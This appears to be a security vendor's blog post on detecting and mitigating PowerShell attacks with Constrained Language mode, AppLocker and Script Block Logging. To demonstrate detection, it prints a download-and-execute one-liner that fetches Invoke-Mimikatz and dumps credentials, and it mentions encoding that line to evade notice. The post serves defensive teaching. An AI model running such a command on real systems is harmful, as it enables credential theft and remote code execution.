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Ways to Detect and Mitigate PowerShell Attacks

Blog >Ways to Detect and Mitigate PowerShell Attacks
Ways to Detect and Mitigate PowerShell Attacks

Detect and Mitigate PowerShell Attacks

PowerShell has grown as an attack platform against Windows systems as a way for attackers to “live off the land” and use tools that are natively available. We’ve already looked at Empire, DeathStar, and CrackMapExec and how those tools leverage PowerShell to invoke Mimikatz and initiate other attacks. In this post, we will explore what you can do to detect and protect against PowerShell attacks.

What’s So Great about PowerShell?

There are several reasons attackers have favored PowerShell in recent years, such as:

  • It is installed on Windows systems by default
  • It can execute commands from memory, without ever writing anything to disk, making it harder to detect
  • It can initiate remote connections to other systems
  • There are lots and lots of scripts available on GitHub and other places (such as Invoke-Mimikatz) for attackers to use
  • Administrators use it, so it will rarely be disabled altogether
  • It’s hard to natively tell good PowerShell from malicious PowerShell

With all those benefits, as defenders we need to take PowerShell more seriously as an attack platform and learn how to secure it. Let’s look at a few ways.

Constrained Language Mode

Windows PowerShell supports various language modes. These language modes determine what portions of PowerShell can and cannot be used and how they can interact with Windows. Constrained Language mode was developed for the Windows RT operating system on the Surface RT. Eventually, it was added to Windows PowerShell V5 and can be used on modern Windows operating systems.

Set an environmental variable _PSLockdownPolicy to enable Constrained Language

While there are several ways to enable Constrained Language, such as AppLocker in allow mode, the easiest way is to set an environmental variable __PSLockdownPolicy, which can be done with a simple script. 

After the script is run, you can launch a new window and issue the command:


See the LanguageMode of PowerShell is set to Constrained Language mode, which is seen as ConstrainedLanguage

You can see that you are now in Constrained Language mode. 

With Constrained Language enabled, malicious PowerShell scripts like Invoke-Mimikatz will not work

With Constrained Language mode enabled, running malicious scripts like Invoke-Mimikatz will no longer work: 

With ConstrainedLanguage enabled, you cannot run malicious PowerShell script to download Invoke-Mimikatz from a URL

Even using sneakier techniques, like the one described here that downloads Invoke-Mimikatz from a URL will be blocked: 

Use AppLocker to Disable PowerShell and Scripts

AppLocker ships with Windows 10 Enterprise and provides a useful way to whitelist applications and scripts. It can be configured locally on a system, or through Group Policy.

When creating AppLocker policies, you can apply them to files, executables, scripts, and packaged apps. For more information on each of these, there is useful information on TechNet.

When creating AppLocker policies, you can apply them to files, executables, scripts, and packaged apps using Windows Installer Rules, Executable Rules, Script Rules, Packaged app Rules

For our purposes, we can use the Script Rules policies to create an allow rule for a specified folder using a simple PowerShell script. This will ensure only files from this folder can be executed.

Create an AppLocker rule with Applocker Allow for a New-AppLockerPolicy using Set-AppLockerPolicy and Get-AppLockerPolicy to ensure only files for a specified folder can be executed
Use Executable Rules in AppLocker to block PowerShell.exe from being run by non-administrators

You can also use Executable Rules to limit which files can be executed by file path or by signature. If you create signature rules for PowerShell and PowerShell_ISE, you can restrict non-Administrators from running PowerShell that way. It should be noted, this is easily bypassed by attackers because, as we have seen with the PowerShell Empire tool, it is possible to run PowerShell without PowerShell.exe. 

The PowerShell Team provides a great write-up of this in more depth here, as well as Sean Metcalf’s post here.

Detecting Malicious PowerShell with Script Block Logging

PowerShell 5 introduces several new ways to track malicious PowerShell. One that I will focus on in this blog post is Script Block Logging. This level of logging is on by default with PowerShell 5 and provides a clear-text logging of the full script that is executed by PowerShell. This is useful because many attacks will leverage encoded scripts that are difficult to decipher.

Let’s take a look at one way an attacker may try to hide their scripts, using the script from earlier that will download and run Invoke-Mimikatz:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -DumpCreds”

Prevent attacker from downloading and running Invoke-Mimikatz with PowerSploit and its Out-EncodedCommand to create an encoded version of this command

Using PowerSploit and Out-EncodedCommand, we can create an encoded version of this command which will look even more obfuscated. 

PowerShell event logs still see what was run without encoding

Here is our new encoded script to run: 

Use Script Block Logging to see the decoded command with Invoke-Mimikatz hiding malicious scripts with PowerSploit and the Out-EncodedCommand

However, the PowerShell event logs still see exactly what we ran without any encoding. 

These are just a few of the ways to monitor and protect against PowerShell based attacks. However, as soon as mitigations and detections are in place, attackers will find ways around them. In the next post, we will look at ways attackers have already found to bypass these approaches.

Post #1 – Automating Mimikatz with Empire & DeathStar Read Now
Post #2 – Lateral Movement with CrackMapExec Read Now
Post #4 – How Attackers Are Bypassing These Protections Read Now

To watch the Mimikatz Attacks webinar, please click here.

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